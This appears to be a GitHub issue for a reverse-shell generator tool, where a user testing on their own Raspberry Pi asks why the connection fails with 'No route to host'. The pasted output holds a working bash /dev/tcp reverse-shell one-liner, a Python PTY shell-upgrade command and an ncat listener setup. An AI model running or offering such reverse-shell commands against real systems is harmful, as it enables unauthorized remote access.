revshellgen
revshellgen copied to clipboard
Issue with the victim machine
So I am on arch linux with endeavour os on my main attacker machine and I am using a vnc to run commands on my raspberry pi but I am encountering some issues. Here is a picture. It says no route to host. Any fix?
Attacker machine:
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_/\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELECT IP ] ----------
[ x ] 192.168.29.48 on wlan0
[ ] Specify manually
---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 9696
---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[ ] unix_java
[ ] unix_nc_mkfifo
[ ] unix_nc_plain
[ ] unix_perl
[ ] unix_php
[ ] unix_python
[ ] unix_ruby
[ ] unix_telnet
[ ] windows_powershell
---------- [ SELECT ENCODE TYPE ] ----------
[ x ] NONE
[ ] URL ENCODE
[ ] BASE64 ENCODE
---------- [ FINISHED COMMAND ] ----------
bash -i >& /dev/tcp/192.168.29.48/9696 0>&1
[ ! ] Reverse shell command copied to clipboard!
[ + ] In case you want to upgrade your shell, you can use this:
python -c 'import pty;pty.spawn("/bin/bash")'
---------- [ SETUP LISTENER ] ----------
[ x ] yes
[ ] no
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9696
Ncat: Listening on 0.0.0.0:9696
Victim:
cdkw2@raspberrypi:~ $ bash -i >& /dev/tcp/192.168.29.48/9696 0>&1
bash: connect: No route to host
bash: /dev/tcp/192.168.29.48/9696: No route to host
cdkw2@raspberrypi:~ $